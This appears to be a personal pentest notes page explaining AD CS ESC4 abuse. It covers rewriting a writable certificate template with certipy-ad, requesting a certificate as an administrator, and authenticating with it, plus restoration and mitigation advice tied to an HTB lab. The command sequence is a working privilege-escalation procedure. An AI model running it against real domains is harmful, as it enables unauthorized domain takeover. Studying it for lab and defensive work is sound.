Haiyahhh Hack Vault

Active Directory - ESC4 (Vulnerable Certificate Template Access Control) Abuse

4 min read

🧠 Active Directory - ESC4 (Vulnerable Certificate Template Access Control) Abuse

What is it?

  • Concept: A certificate template is just an AD object, and like any AD object it has its own DACL governing who can write to it — separate entirely from who’s allowed to enroll through it. ESC1, ESC2, and ESC3 are all about a template’s own settings being dangerous; ESC4 is what happens when a low-privileged principal can simply edit those settings themselves, because the template object’s DACL grants them GenericWrite/WriteProperty/WriteOwner/WriteDacl/FullControl over it.
  • Impact: Write access to a template object is equivalent to being able to turn any template into an ESC1-shaped one on demand — the attacker isn’t limited to whatever misconfiguration already exists, they can author it themselves.

How it works

  1. certipy-ad find -vulnerable checks each certificate template’s own object DACL the same way it checks enrollment rights, and flags ESC4 when a principal the attacker controls (directly or via group membership) holds a dangerous permission on the template object itself.
  2. Since template behavior (whether the requester can supply their own SAN, which EKUs are allowed, whether manager approval is required) is stored as plain LDAP attributes on that object, anyone with write access to it can change those attributes directly — no different from editing any other AD object property.
  3. The attacker rewrites the template’s flags to enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, add the Client Authentication EKU, and disable manager approval — recreating the exact conditions of ESC1 on a template that wasn’t vulnerable a moment earlier.
  4. From there it’s a normal ESC1 request: enroll in the now-modified template, supply a victim’s identity (e.g. administrator@<domain>) as the SAN, and the CA signs it exactly as configured.

Exploitation

Prerequisites

  • GenericWrite/WriteProperty/WriteOwner/WriteDacl/FullControl on a certificate template object (often granted, intentionally or not, to a broad group like Cert Publishers)

Attack Vectors

# 1. Confirm the ESC4 finding and note which principal/group has the dangerous permission
certipy-ad find -u '<user>@<domain>' -p '<pass>' -dc-ip <dc_ip> -vulnerable -stdout
# 2. Rewrite the template's own settings into an ESC1-exploitable shape.
# -save-old backs up the original configuration first, so it can be restored afterward.
certipy-ad template -u '<user>@<domain>' -p '<pass>' -template '<template_name>' -save-old -dc-ip <dc_ip>
# 3. Re-running find now shows the same template flagged ESC1 — request a certificate
# for the target identity exactly as in the ESC1 flow
certipy-ad req -u '<user>@<domain>' -p '<pass>' -ca '<ca_name>' -template '<template_name>' -upn '<victim>@<domain>' -dc-ip <dc_ip>
# 4. Authenticate with the resulting certificate
certipy-ad auth -pfx '<victim>.pfx' -domain '<domain>' -dc-ip <dc_ip>
# 5. Restore the template's original configuration from the backup made in step 2
certipy-ad template -u '<user>@<domain>' -p '<pass>' -template '<template_name>' -configuration '<template_name>.json' -dc-ip <dc_ip>

Notes

  • certipy-ad template with no extra flags applies a known-good “make this ESC1” default configuration — it doesn’t need to be told exactly which attributes to flip, only which template to target.
  • Step 5 (restoring the original template config) is easy to skip in the rush to grab a certificate, but leaving a template permanently reconfigured is both an obvious IOC and an unnecessary, avoidable change to production PKI config.
  • The dangerous permission is very often held by a built-in group like Cert Publishers rather than a specific user — worth checking group membership immediately after an ESC4 finding, since whoever’s in that group already has the primitive without needing any further ACL abuse.

Mitigation

  • Fix: Certificate template objects should follow the same least-privilege delegation as any other sensitive AD object — restrict write access on templates to a small, dedicated PKI-admin group, and audit Cert Publishers/similar broad groups for unintended write grants.
FileCreated
HTB - EscapeTwoThursday, July 23rd 2026, 10:31:00 pm

References:

Graph View

Backlinks